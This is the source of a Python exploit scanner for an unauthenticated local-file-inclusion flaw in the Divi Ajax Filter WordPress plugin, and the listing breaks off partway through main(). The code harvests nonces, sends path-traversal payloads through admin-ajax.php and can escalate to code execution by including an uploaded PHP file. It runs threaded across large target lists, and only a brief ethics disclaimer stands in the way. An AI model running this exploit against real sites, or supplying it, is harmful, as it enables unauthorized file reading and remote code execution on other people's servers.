1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-11613 - Divi Ajax Filter <= 5.1.2 (Divi Engine)
Unauthenticated Local File Inclusion via 'custom_loop_template' (CWE-98, CVSS 9.8)
Usage:
python poc_http.py target.com
python poc_http.py https://target.com bare-domain.net 10.0.0.5:8080
python poc_http.py --list targets.txt --threads 30
python poc_http.py --list targets.txt --fast # 2 req/target sweep
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED
Exit codes: 0 = at least one vulnerable target, 1 = none vulnerable,
130 = interrupted (partial results still written).
ETHICS: run only against systems you own or have written authorization to test.
Targets come from YOUR list and are reviewed manually - no built-in discovery,
no mass untargeted scanning, no persistence, no payload delivery.
"""
import argparse
import concurrent.futures
import csv
import ctypes
import http.cookiejar
import json
import os
import re
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
# ---------------------------------------------------------------- colors ---
def _color_enabled():
if "--no-color" in sys.argv or os.environ.get("NO_COLOR"):
return False
if os.environ.get("FORCE_COLOR"):
return True
return sys.stdout.isatty()
COLOR = _color_enabled()
def _enable_windows_vt():
if os.name == "nt":
try:
k = ctypes.windll.kernel32
h = k.GetStdHandle(-11)
mode = ctypes.c_uint32()
if k.GetConsoleMode(h, ctypes.byref(mode)):
k.SetConsoleMode(h, mode.value | 0x0004)
except Exception:
pass
if COLOR:
_enable_windows_vt()
def _c(code, s):
return "\033[%sm%s\033[0m" % (code, s) if COLOR else s
def g(s): return _c("92;1", s) # bold green
def r(s): return _c("91;1", s) # bold red
def y(s): return _c("93;1", s) # bold yellow
def cy(s): return _c("96", s) # cyan
def mg(s): return _c("95;1", s) # bold magenta
def dim(s): return _c("90", s) # grey
def wht(s): return _c("97;1", s) # bold white
PRINT_LOCK = threading.Lock()
# ---------------------------------------------------------------- consts ---
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
SCHEME_RE = re.compile(r"^https?://", re.I)
# plugin localize blobs: filter_ajax_object / loadmore_ajax_object {..,"security":"abcd123456"}
NONCE_STRICT_RE = re.compile(
r"(?:filter_ajax_object|loadmore_ajax_object)\s*=\s*\{[^}]*?\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"",
re.S)
NONCE_LOOSE_RE = re.compile(r"\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"")
NONCE_PAGES = ("/", "/?s=a")
ACTIONS = ("divi_filter_ajax_handler", "divi_filter_loadmore_ajax_handler")
DEPTH_DEFAULT = [5, 6, 4, 7, 3, 8, 2, 9, 10] # 5 = flat theme (most common)
DEPTH_FAST = [5, 6]
LFI_PROBES = (
("xmlrpc.php", ("methodResponse", "faultCode", "XML-RPC server accepts POST")),
)
LFI_PROBES_THOROUGH = LFI_PROBES + (("wp-links-opml.php", ("<opml",)),)
# plugin version is exposed in asset URLs: divi-filter-loadmore.min.js?ver=X
VERSION_RES = (
re.compile(r'divi-ajax-filter/[^"\']*?ver=([0-9]+(?:\.[0-9]+)*)'),
re.compile(r'divi-filter[a-z\-]*\.min\.js\?ver=([0-9]+(?:\.[0-9]+)*)'),
)
LAST_VULN = (5, 1, 2) # CVE-2026-11613 fixed in 5.1.3
def detect_version(html):
for rex in VERSION_RES:
m = rex.search(html or "")
if m:
return m.group(1)
return None
def is_patched(version):
t = tuple(int(x) for x in re.findall(r"\d+", version)) or (0,)
n = max(len(t), len(LAST_VULN))
t = t + (0,) * (n - len(t))
ref = LAST_VULN + (0,) * (n - len(LAST_VULN))
return t > ref
def normalize_url(u):
u = u.strip().rstrip("/")
if u and not SCHEME_RE.match(u):
u = "http://" + u
return u
def log(msg):
with PRINT_LOCK:
print(msg, flush=True)
# ---------------------------------------------------------------- client ---
def _ssl_ctx():
"""Vuln scanners must reach sites with mismatched/self-signed certs:
verification off (SSL errors are NOT proof of unreachability)."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
class SmartRedirectHandler(urllib.request.HTTPRedirectHandler):
"""Follow redirects preserving method + body (default urllib converts
POST -> GET on 301/302, which breaks http->https sites and makes the
admin-ajax probe look like 'handler missing')."""
def redirect_request(self, req, fp, code, msg, headers, newurl):
new_req = urllib.request.Request(newurl, data=req.data,
method=req.get_method())
for k, v in req.headers.items():
if k.lower() in ("host", "content-length"):
continue
new_req.add_header(k, v)
return new_req
class Client(object):
def __init__(self, base, timeout, retries):
self.base = base
self.timeout = timeout
self.retries = retries
self.jar = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.jar),
SmartRedirectHandler(),
urllib.request.HTTPSHandler(context=_ssl_ctx()))
def request(self, path, data=None):
body = None
hdrs = {"User-Agent": UA}
if data is not None:
body = urllib.parse.urlencode(data).encode("utf-8")
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
req = urllib.request.Request(self.base + path, data=body, headers=hdrs)
last = None
for attempt in range(self.retries + 1):
try:
resp = self.opener.open(req, timeout=self.timeout)
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
except Exception as e:
last = "EXC: %s" % e
if attempt < self.retries:
time.sleep(0.4)
return None, last
# ------------------------------------------------------------ per-target ---
def probe_handler(client, nonce):
"""1 POST to admin-ajax. Classify:
returns (handler_present, nonce_ok)
- body '0' -> action unknown -> plugin not active
- '-1'/nonce-failed JSON -> handler present, nonce rejected
- anything else (200 JSON) -> handler present, nonce accepted
"""
data = {"action": ACTIONS[0]}
if nonce:
data["security"] = nonce
code, body = client.request("/wp-admin/admin-ajax.php", data=data)
b = (body or "").strip()
if b == "0":
return False, False
if b == "-1" or "Nonce verification failed" in body:
return True, False
return True, True
def get_nonce_from_html(html):
m = NONCE_STRICT_RE.search(html)
if m:
return m.group(1)
m = NONCE_LOOSE_RE.search(html)
return m.group(1) if m else None
def lfi_request(client, action, nonce, depth, rel_target):
query = {"post_type": ["post"], "posts_per_page": 5, "post_status": "publish"}
loop_var = {
"loop_templates": "custom-template",
"loop_style": "custom-template",
"custom_loop_template": ("../" * depth) + rel_target,
}
return client.request("/wp-admin/admin-ajax.php", data={
"action": action,
"security": nonce,
"query": json.dumps(query),
"loop_var": json.dumps(loop_var),
"page": "1",
"filter_item_name": "", # avoid array_unique(NULL) fatal in old builds
"filter_item_val": "",
"filter_input_type": "",
})
def sweep(client, actions, nonce, rel_target, markers, depths, verbose, tag):
for action in actions:
for depth in depths:
code, body = lfi_request(client, action, nonce, depth, rel_target)
hit = next((m for m in markers if m in body), None)
if verbose:
log("%s %s" % (tag, dim("%s d=%d -> %s len=%d hit=%s"
% (action.replace("divi_filter_", ""), depth, code,
len(body), hit or "-"))))
if hit:
i = body.find(hit)
return {"vuln": True, "action": action, "depth": depth,
"marker": hit,
"snippet": body[max(0, i - 40): i + 120].strip()}
return {"vuln": False}
def check_target(url, cfg):
t0 = time.time()
res = {"url": url, "status": "error", "plugin": None, "lfi": False,
"rce": False, "action": "", "depth": 0, "reqs": 0, "secs": 0.0,
"note": "", "version": None}
tag = "%s %s" % (cy("[%s]" % url), dim("::"))
client = Client(url, cfg.timeout, cfg.retries)
# 1) homepage -> nonce (strict context first, loose fallback)
code, home = client.request(NONCE_PAGES[0])
res["reqs"] += 1
if code is None:
res["status"] = "unreachable"
res["note"] = (home or "")[:60]
res["secs"] = time.time() - t0
return res
nonce = get_nonce_from_html(home) if code == 200 and home else None
# version fingerprint from exposed asset ?ver= — skip patched sites early
res["version"] = detect_version(home)
if res["version"] and is_patched(res["version"]):
res["status"] = "patched"
res["secs"] = time.time() - t0
return res
# 2) probe: is the nopriv handler even registered? is the nonce accepted?
present, nonce_ok = probe_handler(client, nonce)
res["reqs"] += 1
if not present:
# handler not registered: either plugin absent OR plugin active but no
# Divi theme/builder (extension init never fires). 1 request tells apart.
pcode, _ = client.request(
"/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php")
res["reqs"] += 1
if pcode == 200:
res["status"] = "no-divi"
res["note"] = ("plugin installed & active but Divi theme/builder "
"missing -> ajax handlers never registered")
else:
res["status"] = "no-plugin"
res["secs"] = time.time() - t0
return res
if not nonce_ok:
# candidate nonce came from loose context or is stale -> re-try homepage
# search page (?s=a renders a different template that often localizes too)
code2, page2 = client.request(NONCE_PAGES[1])
res["reqs"] += 1
cand = get_nonce_from_html(page2) if code2 == 200 and page2 else None
if not res["version"] and code2 == 200 and page2:
res["version"] = detect_version(page2)
if res["version"] and is_patched(res["version"]):
res["status"] = "patched"
res["secs"] = time.time() - t0
return res
if cand and cand != nonce:
present2, nonce_ok2 = probe_handler(client, cand)
res["reqs"] += 1
if present2 and nonce_ok2:
nonce = cand
if not nonce_ok and not nonce:
res["status"] = "no-nonce"
res["secs"] = time.time() - t0
return res
# handler present; if nonce still unverified but a candidate exists, sweep
# will simply fail nonce checks -> keep going only when probe accepted it
if not nonce_ok:
res["status"] = "no-nonce"
res["secs"] = time.time() - t0
return res
# 3) optional plugin fingerprint (1 req, informational only)
pcode, _ = client.request(
"/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php")
res["reqs"] += 1
res["plugin"] = (pcode == 200)
# 4) LFI sweep
probes = LFI_PROBES_THOROUGH if cfg.thorough else LFI_PROBES
actions = ACTIONS[:1] if cfg.fast else ACTIONS
for rel_target, markers in probes:
res["reqs"] += len(actions) * len(cfg.depths)
hit = sweep(client, actions, nonce, rel_target, markers,
cfg.depths, cfg.verbose, tag)
if hit["vuln"]:
res.update(status="vuln", lfi=True, action=hit["action"],
depth=hit["depth"], note="%s marker=%s"
% (rel_target, hit["marker"]))
break
# 5) optional RCE stage (known uploaded file)
rce_rel = None
if cfg.upload_rel:
rce_rel = cfg.upload_rel
elif cfg.upload_name:
rce_rel = "wp-content/uploads/" + cfg.upload_name
if res["lfi"] and rce_rel and cfg.upload_marker:
res["reqs"] += len(actions) * len(cfg.depths)
hit = sweep(client, actions, nonce, rce_rel,
(cfg.upload_marker,), cfg.depths, cfg.verbose, tag)
if hit["vuln"]:
res["rce"] = True
res["action"], res["depth"] = hit["action"], hit["depth"]
snippet = " | ".join(hit["snippet"].split())
res["note"] = "RCE: %s | %s" % (rce_rel, snippet[:90])
res["status"] = "vuln" if res["lfi"] else "clean"
res["secs"] = time.time() - t0
return res
# ---------------------------------------------------------------- output ---
def result_line(res, idx, total):
prefix = dim("[%0*d/%0*d]" % (len(str(total)), idx, len(str(total)), total))
url = wht(res["url"])
secs = dim("%.1fs" % res["secs"])
ver = res.get("version")
vtag = dim("ver=%s " % ver) if ver else ""
if res["status"] == "vuln":
verdict = g("VULN: LFI")
if res["rce"]:
verdict = g("VULN: LFI+RCE <<<<<<<<<<")
detail = dim("(action=%s depth=%d %s%s)"
% (res["action"], res["depth"], vtag, res["note"]))
return "%s %s %s %s %s" % (prefix, verdict, url, detail, secs)
if res["status"] == "patched":
return "%s %s %s %s" % (prefix, cy("PATCHED"), url,
dim("ver=%s (>= 5.1.3, skipped)" % ver))
if res["status"] == "unreachable":
return "%s %s %s %s" % (prefix, r("UNREACHABLE"), url, dim(res["note"]))
if res["status"] == "no-plugin":
return "%s %s %s" % (prefix, cy("NO-PLUGIN"), url)
if res["status"] == "no-divi":
return "%s %s %s %s" % (prefix, cy("NO-DIVI"), url,
dim("(plugin active, Divi missing)"))
if res["status"] == "no-nonce":
return "%s %s %s %s" % (prefix, cy("NO-NONCE"), url,
dim("(handler up, nonce not exposed)"))
if res["status"] == "error":
return "%s %s %s %s" % (prefix, r("ERROR"), url, dim(res["note"]))
return "%s %s %s %s %s" % (prefix, y("not-confirmed"), url, vtag, secs)
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-11613 direct live scanner (Divi Ajax Filter <= 5.1.2)",
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("targets", nargs="*",
help="target URL or bare domain (http:// auto-added)")
ap.add_argument("--list", help="file with one target per line (5000+ supported)")
ap.add_argument("--threads", type=int, default=10,
help="concurrent workers (default 10)")
ap.add_argument("--timeout", type=int, default=12,
help="per-request timeout s (default 12)")
ap.add_argument("--retries", type=int, default=1,
help="retries on network error (default 1)")
ap.add_argument("--depths",
help="comma list of traversal depths (default 5,6,4,7,3,8,2,9,10)")
ap.add_argument("--fast", action="store_true",
help="depths 5,6 + first action only (2 req/target)")
ap.add_argument("--thorough", action="store_true",
help="add wp-links-opml.php as 2nd LFI probe")
ap.add_argument("--upload-name",
help="uploaded .php filename in wp-content/uploads to test RCE")
ap.add_argument("--upload-marker", default="WayangXploit-RCE-CONFIRMED",
help="string the uploaded file prints (default: WayangXploit-RCE-CONFIRMED)")
ap.add_argument("--upload-rel",
help="arbitrary webroot-relative path of a target .php for the RCE "
"stage (overrides --upload-name)")
ap.add_argument("--out", default="results_cve-2026-11613.csv", help="CSV output file")
ap.add_argument("--no-color", action="store_true")
ap.add_argument("-v", "--verbose", action="store_true")
cfg = ap.parse_args()
if cfg.upload_name and not cfg.upload_marker:
ap.error("--upload-marker is required with --upload-name")
cfg.depths = ([int(x) for x in cfg.depths.split(",")] if cfg.depths
else (DEPTH_FAST if cfg.fast else DEPTH_DEFAULT))
raw = list(cfg.targets)
if cfg.list:
with open(cfg.list, encoding="utf-8", errors="replace") as fh:
raw += [ln.strip() for ln in fh]
urls, seen = [], set()
for u in raw:
if not u or u.startswith("#"):
continue
n = normalize_url(u)
if n and n not in seen:
seen.add(n)
urls.append(n)
if not urls:
ap.error("no targets given (positional args or --list)")
total = len(urls)
print()
print(mg("=" * 74))
print(mg(" CVE-2026-11613 | Divi Ajax Filter <= 5.1.2 | Unauth LFI -> RCE"))
print(mg(" targets: %s | threads: %s | depths: %s%s"
% (wht(str(total)), wht(str(cfg.threads)),
dim(",".join(map(str, cfg.depths))),
dim(" [FAST]") if cfg.fast else "")))
print(dim(" authorized testing only - targets are your responsibility"))
print(mg("=" * 74))
print()
header_needed = not (os.path.exists(cfg.out) and os.path.getsize(cfg.out) > 0)
csv_lock = threading.Lock()
stats = {"done": 0, "vuln": 0, "rce": 0, "no_nonce": 0, "no_plugin": 0,
"no_divi": 0, "patched": 0, "errors": 0, "clean": 0}
vuln_list = []
start = time.time()
def write_csv(res):
with csv_lock:
row = [res["url"], res["status"], res["lfi"], res["rce"],
res["plugin"], res.get("version") or "", res["action"],
res["depth"], res["note"].replace("\n", " "), res["reqs"],
"%.1f" % res["secs"]]
for attempt in range(2):
try:
with open(cfg.out, "a", newline="", encoding="utf-8") as fh:
w = csv.writer(fh)
if header_needed and fh.tell() == 0:
w.writerow(["url", "status", "lfi", "rce",
"plugin_present", "version", "action",
"depth", "note", "requests", "secs"])
w.writerow(row)
return
except PermissionError:
if attempt == 0:
# file locked (Excel?) -> fall back to a fresh file
cfg.out = cfg.out.replace(".csv", "_%d.csv"
% int(time.time()))
log(dim("[!] CSV terkunci (tutup Excel) -> pindah ke %s"
% cfg.out))
else:
log(dim("[!] CSV gagal ditulis - hasil hanya di layar"))
def run(url):
try:
return check_target(url, cfg)
except Exception as e: # never let one target kill the scan
return {"url": url, "status": "error", "plugin": None, "lfi": False,
"rce": False, "action": "", "depth": 0, "reqs": 0,
"secs": 0.0, "note": str(e)[:80]}
exit_code = 1
try:
with concurrent.futures.ThreadPoolExecutor(max_workers=cfg.threads) as pool:
futures = {pool.submit(run, u): u for u in urls}
|